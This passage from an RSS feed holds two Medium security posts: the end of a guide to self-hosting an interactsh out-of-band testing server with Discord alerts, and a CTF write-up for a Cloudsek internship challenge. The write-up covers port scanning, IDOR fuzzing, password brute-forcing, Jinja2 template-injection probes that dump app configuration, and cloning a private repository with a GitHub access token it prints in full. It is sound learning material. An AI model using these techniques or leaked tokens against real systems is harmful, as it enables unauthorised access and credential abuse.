1 <br> <br># authentication token to connect protected interactsh server <br>token: your-secret-token-for-authentication-with-server-so-other-can-not-use-your-private-server-and-connect-w<br>ith-your-server <br> <br># poll interval in seconds to pull interaction data <br>poll-interval: 10 <br> <br># disable http fallback registration <br>#no-http-fallback: false <br> <br># enables persistent interactsh sessions <br>#persist: true <br> <br> <br># display only dns interaction in cli output <br>#dns-only: false <br> <br># display only http interaction in cli output <br>#http-only: false <br> <br># display only smtp interactions in cli output <br>#smtp-only: false <br> <br># output file to write interaction data <br>#o: <br> <br># write output in jsonl(ines) format <br>#json: false <br> <br>## display verbose interaction <br>v: false<br># uncomment for apply that configuration</pre><p>just run interactsh-client</p><pre>interactsh-client </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*bYRIhdeNAKc84w-l0npoYg.png" /></figure><p>you will see output like this . [INF] Listing payload ………</p><p>Now run normal nslookup payload.oast.yourdomain.com and see if you got interaction or not like see in previous image output like received DNS interaction from IP at time. then you have successfully hosted your server in cloud.</p><h3><strong><em>Now some advance stuff for get notification in Discord channel</em></strong></h3><blockquote>For this you need a another vps or spinup another droplets with same configure, we have created for previous once.</blockquote><p>once droplets is ready lets install necessary tools in droplets</p><pre>sudo apt-get update</pre><pre># install GO language, same as we have installed in previous droplet<br># install interactsh-client and notify<br>go install -v github.com/projectdiscovery/notify/cmd/notify@latest<br>go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest</pre><p>Create Discord web hook, you can <strong>C</strong><a href="https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks"><strong>hek</strong></a> here how to create discord web hook</p><p>you can use <a href="https://slack.com/intl/en-it/help/articles/115005265063-Incoming-webhooks-for-Slack"><strong>slack</strong></a> and <strong>T</strong><a href="https://core.telegram.org/bots#3-how-do-i-create-a-bot"><strong>elegram</strong></a> also</p><p>lets create configuration file for notify , create file called notify.yaml</p><pre>discord: <br>- id: &quot;dns&quot; <br>discord_channel: &quot;dns-interaction&quot; <br>discord_username: &quot;Interact-Bot&quot; <br>discord_format: &quot;{{data}}&quot; <br>discord_webhook_url: &quot;your discord web hook url&quot; <br> <br>- id: &quot;http&quot; <br>discord_channel: &quot;http-https-interaction&quot; <br>discord_username: &quot;interact-Bot&quot; <br>discord_format: &quot;{{data}}&quot; <br>discord_webhook_url: &quot;your discord web hook url&quot; <br> <br>- id: &quot;smtp&quot; <br>discord_channel: &quot;smtp-smtps-interaction&quot; <br>discord_username: &quot;Interact-Bot&quot; <br>discord_format: &quot;{{data}}&quot; <br>discord_webhook_url: &quot;your discord web hook url &quot;</pre><p>create separate discord channel for different different interaction like i did in below image and use corresponding channels webhook for diff purpose like DNS interaction, http interaction and smtp interaction etc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*O4Er8-IZmsjoQs8uSIsskA.png" /></figure><p>Now check if it works or not by following command, save your config file, my file name was notify.yaml</p><pre>echo &quot;testing DNS &quot; | notify -pc ~/notify.yaml -id dns </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*4i6jSNyN5tWVFgxuA9jlCg.png" /><figcaption>cmd</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*SHWPqy6m49j1FdM3m0-2lA.png" /><figcaption>OUTPUT</figcaption></figure><p>test for others as well</p><pre>echo testing http | notify -pc ~/notify.yaml -id http<br>echo testing smtp | notify -pc ~/notify.yaml -id smtp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*eyfLyi1RISVC1fEK_oOcqA.png" /><figcaption>HTTP channel</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*c5BD4otoOwu792HFa7CzhQ.png" /><figcaption>SMTP channel</figcaption></figure><blockquote>we need config file for interactsh-client same as above but just change 2 line from them which is , so the intractsh-client only poll for dns interaction from the server and persist: true means once you have generated payload it will last longer and interaction to that paylod will be displayed in client</blockquote><pre>persist: true<br>dns-only : true <br># save this file as dns.yaml in home directory</pre><p>Now Open tmux in Shell and start interactsh-client with i guess 25 payload is enough you can tweak the config own your self as need.</p><pre>interactsh-client -config ~/dns.yaml | notify -pc ~/notify.yaml -id dns</pre><p>This will send dns interaction to your discord channel that we have configured and make sure you copy payload list that interactsh-client generated and store it in any file or make discord channel like i did and store the payload in this chanel.</p><p>Now re login to ssh the same vps we are doing and create new config file for http interaction , i saved it as http.yaml</p><pre># for this just change one line others are make same as dns.yaml<br>http-only: true<br>v: true<br>o: output-filename<br>dns-only:false<br>persist: true<br>number: 10<br># generate 10 payloads</pre><p>Now open tmux and run the following</p><pre>interactsh-client -config http.yaml | tee http-file</pre><p>this will save output to http-file as well as output-filename but we need http-file for our discord notification.</p><p>re open new ssh session and make config file for SMTP interaction and save, i have saved as smtp.yaml</p><pre># for this also change following line and others put same as dns.yaml<br>http-only: false<br>dns-only: false<br>smtp-only: true<br>persist: true<br>number: 5 <br>o: smtp-output-file<br>v:true</pre><p>Now open tmux and run the following in tmux</p><pre>interactsh-client -config smtp.yaml |tee smtp-file</pre><p>since this files changes, we only want the interaction that changed by previous one that is sent to,our discord so not want to get large output, since this interaction output file will be becomes large, cause it storing all interaction , so i created a bash script this will run in tmux in directory where the output file is stored, this will check if any changes in file is done or not, is done it send the output to discord and remove all data from the file , another interaction is stored. i saved it as monitor.sh</p><pre>#!/bin/bash <br>cp /dev/null file-http;<br>cp /dev/null file-smpt;<br> <br>temp1=`md5sum file-http`; <br>temp3=`md5sum file-smtp`; <br>while true; <br>do <br>sleep 10; <br>temp2=`md5sum file-http`; <br>temp4=`md5sum file-smtp`; <br>if [[ &quot;$temp1&quot; != &quot;$temp2&quot; ]] <br>then <br>cat file-http |notify -pc notify-http.yaml -rl 2 -char-limit 10000 -bulk; <br>cp /dev/null file-http; <br>fi; <br>if [[ &quot;$temp3&quot; != &quot;$temp4&quot; ]] <br>then <br>cat file-smtp |notify -pc notify-smtp.yaml -rl 2 -id &quot;smtp&quot; -char-limit 10000 -bulk ; <br>cp /dev/null file-smtp; <br>fi; <br> <br> <br>done</pre><p>Now run this script in tmux</p><pre>./monitor.sh</pre><p>Thats it close all ssh session by clicking closing button, since we have run all in tmux , it will run in server if we close ssh session, other wise when ssh session is closed, our shell also closed, and any running process is also closed. But make sure you have copied payload for <strong>HTTP</strong> and <strong>SMTP</strong> from previous tmuxs session and stored it other wise you need to re run that interactsh-client with specific configuration in tmux.</p><blockquote><strong>NOTE: the paylod generated By HTTP interactsh-client session will only give HTTP intercation if you use it for smtp it will not work , and vice versa for SMTP also.</strong></blockquote><p>if all set correctly you got notification when send http request to generated paylod as eg in below image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HbWjTNmRZ8q-fGWDn-OoNg.png" /></figure><p>That’s it, Thank you for reading and feel free to contact me at <strong>Twitter: </strong><a href="https://twitter.com/DK_9510"><strong>DK_9510</strong></a> , apologize for any mistake, and welcomes you to correct my mistake by contacting me.</p><p>THANK YOU.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c18baca5cc8d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Write-up on Cloudsek’s 2022 Earn While You Learn Program(EWYL-2021) selection Challenge.]]></title>
            <link>https://dk9510.medium.com/ctf-write-up-on-cloudseks-2022-earn-while-you-learn-program-ewyl-2021-selection-challenge-9903195b08f3?source=rss-3059fad049a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/9903195b08f3</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[info-sec-writeups]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cloudsek]]></category>
            <dc:creator><![CDATA[Dishant]]></dc:creator>
            <pubDate>Wed, 30 Mar 2022 12:37:34 GMT</pubDate>
            <atom:updated>2022-03-30T12:37:34.303Z</atom:updated>
            <content:encoded><![CDATA[<h3>CTF Write-up on Cloudsek’s 2022 Earn While You Learn Program(EWYL-2021) selection.</h3><p>hi there, To day im going to Write detailed write up on the CTF Challenge for selection in Cloudsek’s EWYL-2022 Internship. Hope you enjoy it while reading and get some knowledge, and if i do any mistake I apologize for that so lets begin.</p><p>In This challenge we only got IP address lets be it as 13.235.95.179 as example.</p><p><strong>Target: 13.235.95.179</strong></p><p>1st i started doing recon/enumeration on the target ip, by scanning ports with nmap</p><pre>sudo nmap -sS -Pn -v -top-ports=1000 -oA output.txt<br># which gives 3 ports are open also sees in image</pre><p>which gives me result of 3 ports are open in this Machine which is</p><pre># on further enumerate service on this open ports found service running on it<br>sudo nmap -sS -Pn -v -p 22,80,5000 -sV -oA outputfile.txt</pre><pre>22/tcp   ssh   OpenSSH<br>80/tcp   http  Apache httpd<br>5000/tcp http  Werkzeug httpd </pre><p>Which gives that there is 3 service one is ssh but the version is not vulnerable so next step is to look at the port 80 &amp; 5000 for further digging.</p><p><strong>Challenge 1: </strong><a href="http://13.235.95.179/index.html"><strong>http:</strong></a><strong>//13.235.95.179:80/index.html</strong></p><p>which gives me page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*egEp6qTdUZH_ZkAOhYu3Bw.png" /><figcaption>Index page for Challenge 1</figcaption></figure><p>here from viewing source code i got path to php file which gateway.php which is linked to button alohomora.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*yGwMXGatBNQ5x47QnY4oXA.png" /><figcaption>gateway.php looks like this</figcaption></figure><p>visiting <strong>gateway.php</strong> i have login box &amp; after reading that page, for many times and guessing I got <strong>wizardry.txt</strong> page.</p><p>on visiting <strong>wizardry.txt</strong> we got one username <strong>Cloudster</strong> and dobby’s message for further going in challenge</p><p>from that we got long Encoded Strings looks like this</p><pre>0rIStbXV0rKCFbXStbXSlbKyErW11dKyghIVtdK1tdKVsrW11dXSlbKyErW10rWytbXV1dKyghW10rW10pWyErW10rIStbXV0rKCEhW10rW11bKCFbXStbXSlbK1tdXSsoIVtdK1tdKVshK1tdKyErW11dKyghW10rW10pWyshK1tdXSsoISFbXStbXSlbK1tdXV0pWyshK1tdK1srW11dXSsoISFbXStbXSlbKyErW11dXSgrWyFbXV0rKFtdK1tdKVsoIVtdK1tdKVsrW11dKyghIVtdK1tdWyghW10rW10pWytbXV0rKCFbXStbXSlbIStbXSshK1tdXS</pre><p>This is Base64 encoded String, on decoding i got another encoding which is in JSFuck which is encoding of js with only use of [](!+) these character .</p><pre>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[]</pre><p>On decoding this JSFuck encoding i go<strong>t alert(“id3nt1ty_card.php”); </strong>i got php file name which is <strong>id3nt1ty_card.php.</strong></p><p>on visiting page gives me image of Identity card for Hogwarts.</p><p>after reading on that page, which say <strong>only wizard can able to see</strong>, so something is<strong> hidden</strong>, so i think there my be a <strong>GET parameter</strong> and this shows us identity card so possible parameter will be identitycard, name, id_no, id so after some trial and error i see when using id parameter ?<strong>id=1</strong> i got reponse from web page which says</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QH-haWYyhXLpu-tW1y-wXQ.png" /><figcaption>?id=1</figcaption></figure><p>so i start fuzzing for different value for Id param possibly <strong>(IDOR). </strong>so at <strong>?id=4</strong> i got another response which give an interesting message which stats.</p><pre>Anyways, have a look at this before you bruteforce...<strong>zweihundertzwölf</strong>**</pre><p>here weird strings got attention, on googling it is just <strong>German language</strong> on translating it to English i got <strong>two hundred and twelve (212)</strong> so on changing Id to <strong>?id=212 </strong>gives me different response than usual which is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UK3N7YVkIHo-PsH9CkrKNQ.png" /><figcaption>id=212</figcaption></figure><ul><li>so here we have x=436c3075445f53654b5f which is hex encoding of Cl0ud_SeK_</li><li>the hint says, we need to predict the password of gateway of realm’s password which is divided in 2 parts, 1 is hex encoded and 2nd is on <a href="https://controlc.com/0e1fbc43">url</a> , but here they need password to open that pastebin message.</li><li>so after views source i found there is <strong>hidden href</strong> element pointing<br><strong>/images/phpcard.PNG</strong></li><li>on viewing that page i got php code i.e</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pjoon-r1UBDRonAk37E0Vg.png" /></figure><ul><li>By reading comment this says, we need to analyze the code and predect the password, so possibly this password is for pastebin site which contains our 2nd part of password</li></ul><p><strong>Getting Password for Pastebin</strong></p><ul><li>for solving this i modified this code and create local instance and understand how it works and based on this i created possible payloads which can be generated as some conditions is done in the code, so here is my code.</li></ul><pre>&lt;?php<br>if(array_key_exists(&quot;passphrase&quot;,$_REQUEST))<br>{<br>echo ($_REQUEST[&#39;passphrase&#39;] &gt; 22) &amp;&amp; ($_REQUEST[&#39;passphrase&#39;] &lt;<br>55);<br>if(strstr($_REQUEST[&#39;passphrase&#39;],&quot;carbonblack&quot;) &amp;&amp;<br>($_REQUEST[&#39;passphrase&#39;]&gt; 22 ) &amp;&amp; ($_REQUEST[&#39;passphrase&#39;]&lt; 55)){<br>echo &quot;\nthis may be password&quot;;<br>}<br>else{<br>echo &quot;better luck next time&quot;; }}<br>?&gt;</pre><p>by creating local instance in php and understand to logic that our password have 2 parts<br> 1. it must contain string carbonblack<br> 2. it must have number which is 50&gt; &amp;&amp; &lt;22<br>so we need to generate password which contains string+number<br>to generate passwords i had written a python script for generating set of payloads which fulfill this conditions</p><ul><li>using this script it will generate password like 45carbonblack, carbonblack45,carbonblack45carbonblack</li><li>so run php code locally and use burp intruder to fuzz and for one type of<br>password we successfully enter in if condition i.e number+carbonblack</li><li>so i have spearete out that password which successfully go into if condition of php code and trigger echo statement.</li><li>now Bruteforce this passwords to pastebin site which have our secret. and<br><strong>33carbonblack</strong> works as password and we got second part of the password for gateway of realm</li></ul><pre>alert(&quot;The second part of the password: W0rK_iS_FuN&quot;);</pre><p><strong>Combing Both Part to get Password for Out Gateway.php</strong></p><p>x= Cl0uD_SeK_<br>y= W0rK_iS_FuN<br>Password is : Cl0uD_SeK_W0rK_iS_FuN<br>username: we got from wizardry.txt file i.e Cloudster</p><p>Now from previous page which gives us hint to use these password for Gateway.<br>on entering username= Cloudster &amp; password= Cl0uD_SeK_W0rK_iS_FuN we have access to new page which is <strong>we1c0mE_start.php</strong></p><p><strong>we1c0mE_start.php</strong></p><ul><li>on reading on page, there must be something related to chocolate frog card image</li><li>on viewing page source we see referenece of 2 image i.e images/cfcardbg0.png &amp; images/cfcard.png</li><li>so pssible something related to image, so downloaded both image for forensic analysis of both images.</li><li>so there is not any hidden file is embaded in image, but after viewing image meta data using exiftool i found interenstng comment in cfcard.png</li></ul><pre>Krasy8 unicode key 7 --&gt; Sl}lsf8fJs7|KfzLrf^pUMsHn (Move to next key with domain:5000 port)</pre><ul><li>here we got some encrypted text and comment saying move to next key in 5000 port.</li><li>after googling i found user name <strong>Krasy8</strong> on <strong>github</strong> which have repository<br><strong>Encrypton-decryption</strong></li><li>in this repo they specify encryption based on unicode table which also reflect in our comment</li><li>so Clone this repo &amp; go to Encryption-Decryption/src/main/java in where<br>application is already compiled into bytecode we just need to run command to decrypt our flag.</li></ul><pre>java Application -mode dec -key 7 -alg unicode -data<br>&quot;Sl}lsf8fJs7|KfzLrf^pUMsHn&quot;<br># which gives output<br>#The input is: Sl}lsf8fJs7|KfzLrf^pUMsHn<br>#The result is: Level_1_Cl0uD_sEk_WiNFlAg</pre><p><strong>Challenge 1 is Completed and Flag is Level_1_Cl0uD_sEk_WiNFlAg</strong></p><p><strong>Now for 2nd Challenge </strong><a href="http://13.235.95.179:5000/"><strong>http://13.235.95.179:5000/</strong></a></p><ul><li>on visitng page we got one image and one text None , on reading image &amp; title i guess there some parameter which looks like search &amp; server</li><li>so tried to use <strong>GET</strong> parameter <strong>?server</strong>= &amp; <strong>search=</strong> one by one,<br>value puted in <strong>?search=hello</strong> is reflected as below image</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*IA3_5nhycs-1l_chVumQgg.png" /></figure><ul><li>since from the port scanning and service enumerating we know this is Python Application i think About <strong>SSTI</strong>(server side template<br>injection) , so start for injecting payload that may give me error or execute code .</li><li>injected<strong> ?search={{7*7}}</strong><br>#which gives 49 means template is remdering userinput</li><li>injecting <strong>?search={{user.name}}<br></strong># which throws an Exception and give long debug error message from that we know that <strong>jinja2</strong> is used</li><li>injected <strong>?search={{config.items()}}</strong><br># which returns a current configuration entries</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VEPItMxgbSTbqweft7GYRg.png" /></figure><ul><li>on reading confiuration there is ‘SECRET_KEY’, ‘FINAL{Nothing to hide on<br>/adieu}’) which gives us a route /adieu</li><li>on visiting /adieu page we sees a image containing message. on viewing page source, there is hidden html element which is referencing a Git Repository <a href="https://github.com/aayush-vish/cloudSEK-CTF">https://github.com/aayush-vish/cloudSEK-CTF</a></li><li>but this Url gives <strong>404 </strong>which means the repo is deleted or private</li><li>so may be exploring a user which is aayush-vish</li><li>on reviewing user’s repository , found one repository <strong>Git-Tutorial </strong>where there is one file called <strong>Hogwarts The Hacker</strong> , so possibly this repo is related to <strong>Challange</strong> , on viewing this file we got <strong>git-hub Acccess Token </strong>which is Base64 encoded</li></ul><pre>{<br>&quot;github-token-to-access-the-repo&quot;:<br>Z2hwX2g2c1NKdXpHbUJ1SEszM0FVMnNwT3V5WHpVMDVJeDB6OXN6c==<br>}<br>#_#Happy Hacking Hogwarts !!!!!#_#<br># Decoded Token ghp_h6sSJuzGmBuHK33AU2spOuyXzU05Ix0z9sz</pre><ul><li>since we have github access token, and previous repository may be private , since we cant see that in publicly, using github access token i able to clone whole repository</li></ul><pre>git clone <a href="https://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:x-oauth-">https://ghp_h6sSJuzGmBuHK33AU2spOuyXzU05Ix0z9sz:x-oauth-</a><br><a href="/service/mailto:basic@github.com">basic@github.com</a>/aayush-vish/cloudSEK-CTF.git</pre><ul><li>now we have access to private repository of CTF, on reading README.md got message.</li></ul><pre># cloudSEK-CTF<br>### This is the repository you to need to visit to solve the CTF. Try your RECON TECHNIQUES.</pre><ul><li>use some recon , sees the commit log using git log and found that some files are updated.</li><li>Now i used Visual studio code with Git Extension to explore the repository.<br>by visiting Branches i see there is commit in <strong>xvifli_pages list.lst</strong> on comparing both old &amp; new file, git had High Lighted what is changed from previous, so on Line 4552</li><li>Text is change from CTF{congratulation}} to<br><strong>CTF{Congratulations_Level02_Completed}</strong><br>SO Finally i Got <strong>2nd Flag</strong> also.</li></ul><p><strong>Flag2: CTF{Congratulations_Level02_Completed}</strong></p><p>That’s it,</p><p>thank you for reading my Write-up, since this is my first Write-up i apologize for mistakes and thank you</p><p>You can follow me in Twitter <a href="https://twitter.com/DK_9510">DK_9510</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9903195b08f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>